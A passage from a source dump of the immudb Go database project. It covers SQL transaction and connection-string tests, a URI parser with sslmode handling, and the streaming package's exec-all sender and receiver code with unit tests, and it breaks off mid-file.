INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", table1)) require.NoError(t, err) require.NotNil(t, result) tx, err := db.Begin() require.NoError(t, err) table := getRandomTableName() result, err = tx.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", table)) require.NoError(t, err) require.NotNil(t, result) binaryContent := []byte("my blob content1") blobContent := hex.EncodeToString(binaryContent) _, err = db.Exec(fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (1, 1000, 6000, 'title 1', x'%s', true)", table, blobContent)) require.ErrorContains(t, err, fmt.Sprintf("table does not exist (%s)", table)) st, _ := status.FromError(err) require.Equal(t, fmt.Sprintf("table does not exist (%s)", table), st.Message()) err = tx.Commit() require.NoError(t, err) blobContent2 := hex.EncodeToString([]byte("my blob content2")) _, err = db.Exec(fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (2, 2000, 3000, 'title 2', x'%s', false)", table, blobContent2)) require.NoError(t, err) var id int64 var amount int64 var title string var isPresent bool var content []byte err = db.QueryRow(fmt.Sprintf("SELECT id, amount, title, content, isPresent FROM %s where isPresent=? and id=? and amount=? and total=? and title=?", table), false, 2, 2000, 3000, "title 2").Scan(&id, &amount, &title, &content, &isPresent) require.NoError(t, err) require.Equal(t, int64(2), id) require.Equal(t, int64(2000), amount) require.Equal(t, "title 2", title) require.Equal(t, []byte("my blob content2"), content) require.Equal(t, false, isPresent) } func TestTx_Rollback(t *testing.T) { _, db := testServerClient(t) tx, err := db.Begin() require.NoError(t, err) defer tx.Rollback() table := getRandomTableName() result, err := tx.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, PRIMARY KEY id)", table)) require.NoError(t, err) require.NotNil(t, result) _, err = tx.ExecContext(context.Background(), fmt.Sprintf("INSERT INTO %s (id) VALUES (2)", table)) require.NoError(t, err) err = tx.Rollback() require.NoError(t, err) _, err = db.QueryContext(context.Background(), fmt.Sprintf("SELECT * FROM %s", table)) st, _ := status.FromError(err) require.Equal(t, fmt.Sprintf("table does not exist (%s)", table), st.Message()) } func TestTx_Errors(t *testing.T) { _, db := testServerClient(t) tx, err := db.Begin() require.NoError(t, err) _, err = tx.ExecContext(context.Background(), "this is really wrong") require.ErrorContains(t, err, "syntax error: unexpected IDENTIFIER at position 4") _, err = tx.QueryContext(context.Background(), "this is also very wrong") require.ErrorIs(t, err, sessions.ErrTransactionNotFound) } ================================================ FILE: pkg/stdlib/uri.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stdlib import ( "crypto/tls" "errors" "net/url" "strconv" "strings" "github.com/codenotary/immudb/pkg/client" "google.golang.org/grpc" "google.golang.org/grpc/credentials" "google.golang.org/grpc/credentials/insecure" ) func ParseConfig(uri string) (*client.Options, error) { if strings.HasPrefix(uri, "immudb://") { url, err := url.Parse(uri) if err != nil { return nil, ErrBadQueryString } pw, _ := url.User.Password() port, _ := strconv.Atoi(url.Port()) sslMode := url.Query().Get("sslmode") dialOptions, err := dialOptions(sslMode) if err != nil { return nil, err } cliOpts := client.DefaultOptions(). WithUsername(url.User.Username()). WithPassword(pw). WithPort(port). WithAddress(url.Hostname()). WithDatabase(url.Path[1:]). WithDialOptions(dialOptions) return cliOpts, nil } return nil, ErrBadQueryString } func GetUri(o *client.Options) string { u := url.URL{ Scheme: "immudb", User: url.UserPassword( o.Username, o.Password, ), Host: strings.Join([]string{o.Address, ":", strconv.Itoa(o.Port)}, ""), Path: o.Database, } return u.String() } func dialOptions(sslmode string) ([]grpc.DialOption, error) { if sslmode == "" { sslmode = "disable" } switch sslmode { case "disable": return []grpc.DialOption{grpc.WithTransportCredentials(insecure.NewCredentials())}, nil case "insecure-verify": return []grpc.DialOption{grpc.WithTransportCredentials(credentials.NewTLS(&tls.Config{InsecureSkipVerify: true}))}, nil case "require": return []grpc.DialOption{grpc.WithTransportCredentials(credentials.NewTLS(&tls.Config{}))}, nil default: return nil, errors.New("sslmode is invalid") } } ================================================ FILE: pkg/stdlib/uri_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stdlib import ( "context" "database/sql" "fmt" "net" "os" "testing" "time" "github.com/codenotary/immudb/pkg/server" "github.com/stretchr/testify/require" ) func testServer(t *testing.T) (port int, cleanup func()) { options := server.DefaultOptions(). WithMetricsServer(false). WithWebServer(false). WithPgsqlServer(false). WithPort(0). WithDir(t.TempDir()) server := server.DefaultServer().WithOptions(options).(*server.ImmuServer) server.Initialize() go func() { server.Start() }() // TODO: Use a better method to wait for the test server time.Sleep(500 * time.Millisecond) port = server.Listener.Addr().(*net.TCPAddr).Port return port, func() { server.Stop() } } func setTempCwd(t *testing.T) { origDir, err := os.Getwd() require.NoError(t, err) err = os.Chdir(t.TempDir()) require.NoError(t, err) t.Cleanup(func() { os.Chdir(origDir) }) } func TestDriver_Open(t *testing.T) { setTempCwd(t) d := immuDriver conn, err := d.Open("immudb://immudb:immudb@127.0.0.1:5555/defaultdb") require.Error(t, err) require.Nil(t, conn) } func TestParseConfig(t *testing.T) { connString := "immudb://immudb:immudb@127.0.0.1:3324/defaultdb" ris, err := ParseConfig(connString) require.NoError(t, err) require.NotNil(t, ris) require.Equal(t, "immudb", ris.Username) require.Equal(t, "immudb", ris.Password) require.Equal(t, "defaultdb", ris.Database) require.Equal(t, "127.0.0.1", ris.Address) require.Equal(t, 3324, ris.Port) } func TestParseConfig_InsecureVerify(t *testing.T) { connString := "immudb://immudb:immudb@127.0.0.1:3324/defaultdb?sslmode=insecure-verify" ris, err := ParseConfig(connString) require.NoError(t, err) require.NotNil(t, ris) require.Equal(t, "immudb", ris.Username) require.Equal(t, "immudb", ris.Password) require.Equal(t, "defaultdb", ris.Database) require.Equal(t, "127.0.0.1", ris.Address) require.Equal(t, 3324, ris.Port) } func TestParseConfig_Require(t *testing.T) { connString := "immudb://immudb:immudb@127.0.0.1:3324/defaultdb?sslmode=require" ris, err := ParseConfig(connString) require.NoError(t, err) require.NotNil(t, ris) require.Equal(t, "immudb", ris.Username) require.Equal(t, "immudb", ris.Password) require.Equal(t, "defaultdb", ris.Database) require.Equal(t, "127.0.0.1", ris.Address) require.Equal(t, 3324, ris.Port) } func TestParseConfigErrs(t *testing.T) { connString := "immudb://immudb:immudb@127.0.0.1:aaa/defaultdb" _, err := ParseConfig(connString) require.ErrorIs(t, err, ErrBadQueryString) connString = "AAAA://immudb:immudb@127.0.0.1:123/defaultdb" _, err = ParseConfig(connString) require.ErrorIs(t, err, ErrBadQueryString) connString = "AAAA://immudb:immudb@127.0.0.1:123/defaultdb?sslmode=invalid" _, err = ParseConfig(connString) require.ErrorIs(t, err, ErrBadQueryString) } func TestDriver_OpenSSLPrefer(t *testing.T) { port, cleanup := testServer(t) defer cleanup() setTempCwd(t) d := immuDriver conn, err := d.Open(fmt.Sprintf("immudb://immudb:immudb@127.0.0.1:%d/defaultdb", port)) require.NoError(t, err) require.NotNil(t, conn) } func TestDriver_OpenSSLDisable(t *testing.T) { port, cleanup := testServer(t) defer cleanup() setTempCwd(t) d := immuDriver conn, err := d.Open(fmt.Sprintf("immudb://immudb:immudb@127.0.0.1:%d/defaultdb?sslmode=disable", port)) require.NoError(t, err) require.NotNil(t, conn) } func TestDriver_OpenSSLRequire(t *testing.T) { t.Skip("TODO: internal server not running with ssl mode") port, cleanup := testServer(t) defer cleanup() setTempCwd(t) d := immuDriver conn, err := d.Open(fmt.Sprintf("immudb://immudb:immudb@127.0.0.1:%d/defaultdb?sslmode=require", port)) require.NoError(t, err) require.NotNil(t, conn) } func Test_SQLOpen(t *testing.T) { port, cleanup := testServer(t) defer cleanup() setTempCwd(t) db, err := sql.Open("immudb", fmt.Sprintf("immudb://immudb:immudb@127.0.0.1:%d/defaultdb?sslmode=disable", port)) require.NoError(t, err) _, err = db.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", "myTable")) require.NoError(t, err) } func Test_Open(t *testing.T) { port, cleanup := testServer(t) defer cleanup() setTempCwd(t) db := Open(fmt.Sprintf("immudb://immudb:immudb@127.0.0.1:%d/defaultdb?sslmode=disable", port)) require.NotNil(t, db) _, err := db.ExecContext(context.Background(), fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, total INTEGER, title VARCHAR, content BLOB, isPresent BOOLEAN, PRIMARY KEY id)", "myTable")) require.NoError(t, err) } ================================================ FILE: pkg/stream/errors.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "fmt" "github.com/codenotary/immudb/pkg/errors" ) var ErrMaxValueLenExceeded = "internal store max value length exceeded" var ErrMaxTxValuesLenExceeded = "max transaction values length exceeded" var ErrChunkTooSmall = fmt.Sprintf("minimum chunk size is %d", MinChunkSize) var ErrRefOptNotImplemented = "reference operation is not implemented" var ErrUnableToReassembleExecAllMessage = "unable to reassemble ZAdd message on a streamExecAll" func init() { errors.CodeMap[ErrMaxValueLenExceeded] = errors.CodDataException errors.CodeMap[ErrMaxTxValuesLenExceeded] = errors.CodDataException errors.CodeMap[ErrRefOptNotImplemented] = errors.CodUndefinedFunction errors.CodeMap[ErrUnableToReassembleExecAllMessage] = errors.CodInternalError } ================================================ FILE: pkg/stream/execall_receiver.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "bytes" "io" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/errors" "github.com/golang/protobuf/proto" ) type execAllStreamReceiver struct { s io.Reader kvStreamReceiver KvStreamReceiver BufferSize int } // NewExecAllStreamReceiver returns a new execAllStreamReceiver func NewExecAllStreamReceiver(s io.Reader, bs int) ExecAllStreamReceiver { return &execAllStreamReceiver{ s: s, kvStreamReceiver: NewKvStreamReceiver(s, bs), BufferSize: bs, } } // Next returns the following exec all operation found on the wire. If no more operations are presents on stream it returns io.EOF func (eas *execAllStreamReceiver) Next() (IsOp_Operation, error) { for { t, err := ReadValue(eas.s, eas.BufferSize) if err != nil { return nil, err } switch t[0] { case TOp_Kv: key, vr, err := eas.kvStreamReceiver.Next() if err != nil { return nil, err } return &Op_KeyValue{ KeyValue: &KeyValue{ Key: &ValueSize{ Content: bytes.NewBuffer(key), Size: len(key), }, Value: &ValueSize{ Content: vr, }, }, }, nil case TOp_ZAdd: zr := &schema.ZAddRequest{} zaddm, err := ReadValue(eas.s, eas.BufferSize) err = proto.Unmarshal(zaddm, zr) if err != nil { return nil, errors.New(ErrUnableToReassembleExecAllMessage) } return &Op_ZAdd{ ZAdd: zr, }, nil case TOp_Ref: return nil, errors.New(ErrRefOptNotImplemented) } } } ================================================ FILE: pkg/stream/execall_receiver_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "bytes" "errors" "io" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/stream/streamtest" "github.com/golang/protobuf/proto" "github.com/stretchr/testify/require" ) var errCustom = errors.New("custom one") func TestNewExecAllStreamReceiver(t *testing.T) { r := bytes.NewBuffer([]byte{}) esr := NewExecAllStreamReceiver(r, 4096) require.IsType(t, new(execAllStreamReceiver), esr) } func TestExecAllStreamReceiver_Next(t *testing.T) { me := []*streamtest.MsgError{ {M: []byte{TOp_Kv}, E: io.EOF}, {M: []byte{1, 1, 1}, E: io.EOF}, } r := streamtest.DefaultMsgReceiverMock(me) esr := NewExecAllStreamReceiver(r, 4096) op, err := esr.Next() require.NoError(t, err) require.NotNil(t, op) } func TestExecAllStreamReceiver_NextZAdd(t *testing.T) { zadd := &schema.ZAddRequest{} zaddb, _ := proto.Marshal(zadd) me := []*streamtest.MsgError{ {M: []byte{TOp_Kv}, E: io.EOF}, {M: []byte{1, 1, 1}, E: io.EOF}, {M: []byte{TOp_ZAdd}, E: io.EOF}, {M: zaddb, E: io.EOF}, } r := streamtest.DefaultMsgReceiverMock(me) esr := NewExecAllStreamReceiver(r, 4096) op, err := esr.Next() require.NoError(t, err) require.NotNil(t, op) op, err = esr.Next() require.NoError(t, err) require.NotNil(t, op) } func TestExecAllStreamReceiver_NextZAddUnmarshalError(t *testing.T) { me := []*streamtest.MsgError{ {M: []byte{TOp_Kv}, E: io.EOF}, {M: []byte{1, 1, 1}, E: io.EOF}, {M: []byte{TOp_ZAdd}, E: io.EOF}, {M: []byte{1, 1, 1}, E: io.EOF}, } r := streamtest.DefaultMsgReceiverMock(me) esr := NewExecAllStreamReceiver(r, 4096) op, err := esr.Next() require.NoError(t, err) require.NotNil(t, op) op, err = esr.Next() require.ErrorContains(t, err, ErrUnableToReassembleExecAllMessage) require.Nil(t, op) } func TestExecAllStreamReceiver_NextRefError(t *testing.T) { me := []*streamtest.MsgError{ {M: []byte{TOp_Ref}, E: io.EOF}, {M: []byte{1, 1, 1}, E: io.EOF}, } r := streamtest.DefaultMsgReceiverMock(me) esr := NewExecAllStreamReceiver(r, 4096) op, err := esr.Next() require.ErrorContains(t, err, ErrRefOptNotImplemented) require.Nil(t, op) } func TestExecAllStreamReceiver_NextKvStreamerError(t *testing.T) { me := []*streamtest.MsgError{ {M: []byte{TOp_Kv}, E: errCustom}, } r := streamtest.DefaultMsgReceiverMock(me) esr := NewExecAllStreamReceiver(r, 4096) op, err := esr.Next() require.ErrorIs(t, err, errCustom) require.Nil(t, op) } func TestExecAllStreamReceiver_NextKvStreamerNextError(t *testing.T) { me := []*streamtest.MsgError{ {M: []byte{TOp_Kv}, E: io.EOF}, {M: []byte{4}, E: errCustom}, } r := streamtest.DefaultMsgReceiverMock(me) esr := NewExecAllStreamReceiver(r, 4096) op, err := esr.Next() require.ErrorIs(t, err, errCustom) require.Nil(t, op) } ================================================ FILE: pkg/stream/execall_sender.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "bytes" "github.com/codenotary/immudb/pkg/errors" "github.com/golang/protobuf/proto" ) type execAllStreamSender struct { s MsgSender kvStreamSender KvStreamSender } // NewExecAllStreamSender returns a new ExecAllStreamSender func NewExecAllStreamSender(s MsgSender) ExecAllStreamSender { return &execAllStreamSender{ s: s, kvStreamSender: NewKvStreamSender(s), } } // Send send an ExecAllRequest on stream func (st *execAllStreamSender) Send(req *ExecAllRequest) error { for _, op := range req.Operations { switch x := op.Operation.(type) { case *Op_KeyValue: st.s.Send(bytes.NewBuffer([]byte{TOp_Kv}), 1, nil) err := st.kvStreamSender.Send(x.KeyValue) if err != nil { return err } case *Op_ZAdd: err := st.s.Send(bytes.NewBuffer([]byte{TOp_ZAdd}), 1, nil) if err != nil { return err } zAddRequest, err := proto.Marshal(x.ZAdd) if err != nil { return err } err = st.s.Send(bytes.NewBuffer(zAddRequest), len(zAddRequest), nil) if err != nil { return err } case *Op_Ref: return errors.New(ErrRefOptNotImplemented) } } return nil } ================================================ FILE: pkg/stream/execall_sender_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "bytes" "errors" "io" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/stream/streamtest" "github.com/gogo/protobuf/proto" "github.com/stretchr/testify/require" ) func TestNewExecAllStreamSender(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) eas := NewExecAllStreamSender(s) require.IsType(t, new(execAllStreamSender), eas) } func TestExecAllStreamSender_Send(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) eas := NewExecAllStreamSender(s) aOps := &ExecAllRequest{ Operations: []*Op{ { Operation: &Op_ZAdd{ ZAdd: &schema.ZAddRequest{ Set: []byte(`exec-all-set`), Score: 85.4, Key: []byte(`exec-all-key`), AtTx: 0, BoundRef: true, }, }, }, { Operation: &Op_KeyValue{ KeyValue: &KeyValue{ Key: &ValueSize{ Content: bytes.NewBuffer([]byte(`exec-all-key2`)), Size: len([]byte(`exec-all-key2`)), }, Value: &ValueSize{ Content: bytes.NewBuffer([]byte(`exec-all-val2`)), Size: len([]byte(`exec-all-val2`)), }, }, }, }, }, } err := eas.Send(aOps) require.NoError(t, err) } func TestExecAllStreamSender_SendZAddError(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) s.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { return errCustom } eas := NewExecAllStreamSender(s) aOps := &ExecAllRequest{ Operations: []*Op{ { Operation: &Op_ZAdd{ ZAdd: &schema.ZAddRequest{ Set: []byte(`exec-all-set`), Score: 85.4, Key: []byte(`exec-all-key`), AtTx: 0, BoundRef: true, }, }, }, }, } err := eas.Send(aOps) require.ErrorIs(t, err, errCustom) } func TestExecAllStreamSender_SendZAddError2(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) eas := NewExecAllStreamSender(s) aOps := &ExecAllRequest{ Operations: []*Op{ { Operation: &Op_ZAdd{ ZAdd: nil, }, }, }, } err := eas.Send(aOps) require.ErrorContains(t, err, proto.ErrNil.Error()) } func TestExecAllStreamSender_SendZAddError3(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) sec := false s.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { if sec { return errCustom } sec = true return nil } eas := NewExecAllStreamSender(s) aOps := &ExecAllRequest{ Operations: []*Op{ { Operation: &Op_ZAdd{ ZAdd: &schema.ZAddRequest{ Set: []byte(`exec-all-set`), Score: 85.4, Key: []byte(`exec-all-key`), AtTx: 0, BoundRef: true, }, }, }, }, } err := eas.Send(aOps) require.ErrorIs(t, err, errCustom) } func TestExecAllStreamSender_SendKVError(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) s.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { return errCustom } eas := NewExecAllStreamSender(s) aOps := &ExecAllRequest{ Operations: []*Op{ { Operation: &Op_KeyValue{ KeyValue: &KeyValue{ Key: &ValueSize{ Content: bytes.NewBuffer([]byte(`exec-all-key2`)), Size: len([]byte(`exec-all-key2`)), }, Value: &ValueSize{ Content: bytes.NewBuffer([]byte(`exec-all-val2`)), Size: len([]byte(`exec-all-val2`)), }, }, }, }, }, } err := eas.Send(aOps) require.ErrorIs(t, err, errCustom) } func TestExecAllStreamSender_SendRefError(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) s.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { return errors.New("custom one") } eas := NewExecAllStreamSender(s) aOps := &ExecAllRequest{ Operations: []*Op{ { Operation: &Op_Ref{}, }, }, } err := eas.Send(aOps) require.ErrorContains(t, err, ErrRefOptNotImplemented) } ================================================ FILE: pkg/stream/execall_streamer.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream type ExecAllStreamSender interface { Send(req *ExecAllRequest) error } type ExecAllStreamReceiver interface { Next() (IsOp_Operation, error) } ================================================ FILE: pkg/stream/factory.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream type serviceFactory struct { ChunkSize int } // ServiceFactory returns high level immudb streaming services // High level services are capable to receive and send immudb transportation objects. Those services rely on internal more generic receiver and sender services. type ServiceFactory interface { NewMsgReceiver(str ImmuServiceReceiver_Stream) MsgReceiver NewMsgSender(str ImmuServiceSender_Stream) MsgSender NewKvStreamReceiver(str MsgReceiver) KvStreamReceiver NewKvStreamSender(str MsgSender) KvStreamSender NewVEntryStreamReceiver(str MsgReceiver) VEntryStreamReceiver NewVEntryStreamSender(str MsgSender) VEntryStreamSender NewZStreamReceiver(str MsgReceiver) ZStreamReceiver NewZStreamSender(str MsgSender) ZStreamSender NewExecAllStreamSender(str MsgSender) ExecAllStreamSender NewExecAllStreamReceiver(str MsgReceiver) ExecAllStreamReceiver } // NewStreamServiceFactory returns a new ServiceFactory func NewStreamServiceFactory(chunkSize int) ServiceFactory { return &serviceFactory{ChunkSize: chunkSize} } // NewMsgSender returns a MsgSender func (s *serviceFactory) NewMsgSender(str ImmuServiceSender_Stream) MsgSender { return NewMsgSender(str, make([]byte, s.ChunkSize)) } // NewMsgReceiver returns a MsgReceiver func (s *serviceFactory) NewMsgReceiver(str ImmuServiceReceiver_Stream) MsgReceiver { return NewMsgReceiver(str) } // NewKvStreamReceiver returns a KvStreamReceiver func (s *serviceFactory) NewKvStreamReceiver(mr MsgReceiver) KvStreamReceiver { return NewKvStreamReceiver(mr, s.ChunkSize) } // NewKvStreamSender returns a KvStreamSender func (s *serviceFactory) NewKvStreamSender(ms MsgSender) KvStreamSender { return NewKvStreamSender(ms) } func (s *serviceFactory) NewVEntryStreamReceiver(mr MsgReceiver) VEntryStreamReceiver { return NewVEntryStreamReceiver(mr, s.ChunkSize) } func (s *serviceFactory) NewVEntryStreamSender(ms MsgSender) VEntryStreamSender { return NewVEntryStreamSender(ms) } // NewZStreamReceiver returns a ZStreamReceiver func (s *serviceFactory) NewZStreamReceiver(mr MsgReceiver) ZStreamReceiver { return NewZStreamReceiver(mr, s.ChunkSize) } // NewZStreamSender returns a ZStreamSender func (s *serviceFactory) NewZStreamSender(ms MsgSender) ZStreamSender { return NewZStreamSender(ms) } // NewExecAllStreamReceiver returns a ExecAllStreamReceiver func (s *serviceFactory) NewExecAllStreamReceiver(mr MsgReceiver) ExecAllStreamReceiver { return NewExecAllStreamReceiver(mr, s.ChunkSize) } // NewExecAllStreamSender returns a ExecAllStreamSender func (s *serviceFactory) NewExecAllStreamSender(ms MsgSender) ExecAllStreamSender { return NewExecAllStreamSender(ms) } ================================================ FILE: pkg/stream/kvparser.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "bytes" "io" ) // ReadValue returns the complete value from a message // If no more data is present on the reader nil and io.EOF are returned func ReadValue(vr io.Reader, bufferSize int) (value []byte, err error) { b := bytes.NewBuffer([]byte{}) vl := 0 eof := false chunk := make([]byte, bufferSize) for { l, err := vr.Read(chunk) if err != nil && err != io.EOF { return nil, err } vl += l b.Write(chunk) // we return an EOF also if there is another message present on stream (l == 0) if err == io.EOF || l == 0 { eof = true break } } if eof && vl == 0 { return nil, io.EOF } value = make([]byte, vl) _, err = b.Read(value) if err != nil { return nil, err } return value, err } ================================================ FILE: pkg/stream/kvparser_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "bytes" "io" "testing" "github.com/codenotary/immudb/pkg/stream/streamtest" "github.com/stretchr/testify/require" ) func TestParseKV(t *testing.T) { content := []byte(`contentval`) value, err := ReadValue(bytes.NewBuffer(content), 4096) require.NoError(t, err) require.NotNil(t, value) } func TestParseErr(t *testing.T) { b := &streamtest.ErrReader{ReadF: func(i []byte) (int, error) { return 0, errCustom }} entry, err := ReadValue(b, 4096) require.ErrorIs(t, err, errCustom) require.Nil(t, entry) } func TestParseEof(t *testing.T) { b := &streamtest.ErrReader{ReadF: func(i []byte) (int, error) { return 0, io.EOF }} entry, err := ReadValue(b, 4096) require.ErrorIs(t, err, io.EOF) require.Nil(t, entry) } func TestParseEmptyContent(t *testing.T) { content := []byte{} value, err := ReadValue(bytes.NewBuffer(content), 4096) require.ErrorIs(t, err, io.EOF) require.Nil(t, value) } ================================================ FILE: pkg/stream/kvreceiver.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "io" ) type kvStreamReceiver struct { s io.Reader BufferSize int } // NewKvStreamReceiver returns a new kvStreamReceiver func NewKvStreamReceiver(s io.Reader, bs int) KvStreamReceiver { return &kvStreamReceiver{ s: s, BufferSize: bs, } } // Next returns the following key and value reader pair found on stream. If no more key values are presents on stream it returns io.EOF func (kvr *kvStreamReceiver) Next() ([]byte, io.Reader, error) { key, err := ReadValue(kvr.s, kvr.BufferSize) if err != nil { return nil, nil, err } return key, kvr.s, nil } ================================================ FILE: pkg/stream/kvsender.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream type kvStreamSender struct { s MsgSender } // NewKvStreamSender returns a new kvStreamSender func NewKvStreamSender(s MsgSender) *kvStreamSender { return &kvStreamSender{ s: s, } } // Send send a KeyValue on strem func (st *kvStreamSender) Send(kv *KeyValue) error { vss := []*ValueSize{kv.Key, kv.Value} for _, vs := range vss { err := st.send(vs) if err != nil { return err } } return nil } func (st *kvStreamSender) send(vs *ValueSize) error { err := st.s.Send(vs.Content, vs.Size, nil) if err != nil { return err } return nil } ================================================ FILE: pkg/stream/kvsender_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package stream import ( "io" "testing" "github.com/codenotary/immudb/pkg/stream/streamtest" "github.com/stretchr/testify/require" ) func TestNewKvStreamSender(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := 